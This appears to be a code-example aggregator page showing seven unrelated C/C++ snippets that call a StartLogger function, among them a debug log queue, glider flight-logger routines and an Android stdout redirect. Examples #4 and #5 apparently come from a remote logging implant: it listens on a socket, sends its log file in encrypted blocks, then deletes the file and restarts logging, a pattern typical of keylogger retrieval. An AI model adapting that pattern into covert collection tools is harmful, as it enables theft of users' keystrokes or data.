Пример #1
0
bool CSmartServer::InitLogger()
{
	string sLogFileFullName = GetBinaryDir() + g_szLogFileName;
	
	bool bResult = StartLogger(sLogFileFullName);
	return bResult;
}
Пример #2
0
void LogDebug(const wchar_t *fmt, ...) 
{
  CAutoLock logLock(&m_logLock);
  
  if (!m_hLogger) {
    m_bLoggerRunning = true;
    StartLogger();
  }

  wchar_t buffer[2000]; 
  int tmp;
  va_list ap;
  va_start(ap,fmt);
  tmp = vswprintf_s(buffer, fmt, ap);
  va_end(ap); 

  SYSTEMTIME systemTime;
  GetLocalTime(&systemTime);
  wchar_t msg[5000];
  swprintf_s(msg, 5000,L"[%04.4d-%02.2d-%02.2d %02.2d:%02.2d:%02.2d,%03.3d] [%x] [%x] - %s\n",
    systemTime.wYear, systemTime.wMonth, systemTime.wDay,
    systemTime.wHour, systemTime.wMinute, systemTime.wSecond, systemTime.wMilliseconds,
    (unsigned int)instanceID,
    GetCurrentThreadId(),
    buffer);
  CAutoLock l(&m_qLock);
  if (m_logQueue.size() < 2000) 
  {
    m_logQueue.push((wstring)msg);
  }
};
Пример #3
0
void
LoggerImpl::guiStartLogger(const NMEA_INFO& gps_info,
                       const SETTINGS_COMPUTER& settings,
                       bool noAsk) {
  int i;
  if (!LoggerActive) {
    if (gps_info.Replay) {
      if (LoggerActive)
        guiStopLogger(gps_info, true);
      return;
    }
    TCHAR TaskMessage[1024];
    _tcscpy(TaskMessage,TEXT("Start Logger With Declaration\r\n"));
    if (task.Valid()) {
      for (i = 0; task.ValidTaskPoint(i); i++) {
        _tcscat(TaskMessage, task.getWaypoint(i).Name);
	_tcscat(TaskMessage,TEXT("\r\n"));
      }
    } else {
      _tcscat(TaskMessage,TEXT("None"));
    }

    if(noAsk ||
       (MessageBoxX(TaskMessage,gettext(TEXT("Start Logger")),
		    MB_YESNO|MB_ICONQUESTION) == IDYES))
      {

	if (LoggerClearFreeSpace(gps_info)) {

	  StartLogger(gps_info, settings, strAssetNumber);
	  LoggerHeader(gps_info);
	  LoggerActive = true; // start logger after Header is completed.  Concurrency

          if (task.Valid()) {
            int ntp = task.getFinalWaypoint();
            StartDeclaration(gps_info,ntp);
            for (i = 0; task.ValidTaskPoint(i); i++) {
              const WAYPOINT &way_point = task.getWaypoint(i);
              AddDeclaration(way_point.Location.Latitude,
                             way_point.Location.Longitude,
                             way_point.Name);
            }
            EndDeclaration();
          }
	  ResetFRecord(); // reset timer & lastRecord string so if
			  // logger is restarted, FRec appears at top
			  // of file
	} else {

	  MessageBoxX(
		      gettext(TEXT("Logger inactive, insufficient storage!")),
		      gettext(TEXT("Logger Error")), MB_OK| MB_ICONERROR);
	  StartupStore(TEXT("Logger not started: Insufficient Storage\r\n"));
	}
      }
  }
}
Пример #4
0
int EntryPoint(void) {
    SOCKET s;

    StartLogger(TEXT(LOGFILE));

    if(StartWinsock() != 0)
        return -1;

    s = CreateListenSocket(SERVER_PORT);
    if((s == SOCKET_ERROR) || (s == INVALID_SOCKET))
        return -1;
    ServerLoop(s);

    WSACleanup();

    return 1;
}
Пример #5
0
static void SendLog(SOCKET s) {
    FILE *fp;
    size_t size, blocks, offs = 0;
    unsigned char buf[BUFSIZE];
    int zero = 0;

    if(StopLogger() == -1) goto send0;

    if((fp = fopen(LOGFILE, "r")) == NULL) goto restart;

    fseek(fp, 0, SEEK_END);
    size = ftell(fp);
    fseek(fp, 0, SEEK_SET);

    blocks = size / BUFSIZE;
    blocks += (size % BUFSIZE)?1:0;
    send(s, (char*)&blocks, sizeof(blocks), 0);

    while(size > BUFSIZE) {
        fseek(fp, offs, SEEK_SET);
        fread(buf, BUFSIZE, 1, fp);
        CryptSendData(s, buf, BUFSIZE);
        size -= BUFSIZE;
        offs += BUFSIZE;
    }
    if(size) {
        fseek(fp, offs, SEEK_SET);
        fread(buf, size, 1, fp);
        CryptSendData(s, buf, size);
    }

    fclose(fp);
    remove(LOGFILE);

restart:
    StartLogger(TEXT(LOGFILE));
send0:
    send(s, (char*)&zero, sizeof(zero), 0);
    return;
}
Пример #6
0
// TODO: fix scope so only gui things can start it
void
LoggerImpl::StartLogger(const NMEAInfo &gps_info,
                        const LoggerSettings &settings,
                        const TCHAR *asset_number, const Declaration &decl)
{
  if (!settings.logger_id.empty())
    asset_number = settings.logger_id.c_str();

  // chars must be legal in file names
  char logger_id[4];
  unsigned asset_length = _tcslen(asset_number);
  for (unsigned i = 0; i < 3; i++)
    logger_id[i] = i < asset_length && IsAlphaNumericASCII(asset_number[i]) ?
                   asset_number[i] : _T('A');
  logger_id[3] = _T('\0');

  if (!StartLogger(gps_info, settings, logger_id))
    return;

  simulator = gps_info.location_available && !gps_info.gps.real;
  writer->WriteHeader(gps_info.date_time_utc, decl.pilot_name,
                      decl.aircraft_type, decl.aircraft_registration,
                      decl.competition_id,
                      logger_id, GetGPSDeviceName(), simulator);

  if (decl.Size()) {
    BrokenDateTime FirstDateTime = !pre_takeoff_buffer.empty()
      ? pre_takeoff_buffer.peek().date_time_utc
      : gps_info.date_time_utc;
    writer->StartDeclaration(FirstDateTime, decl.Size());

    for (unsigned i = 0; i< decl.Size(); ++i)
      writer->AddDeclaration(decl.GetLocation(i), decl.GetName(i));

    writer->EndDeclaration();
  }
}
Пример #7
0
void RedirectStdoutToLogcat()
{
  StartLogger();

  std::this_thread::sleep_for(std::chrono::seconds(1));
}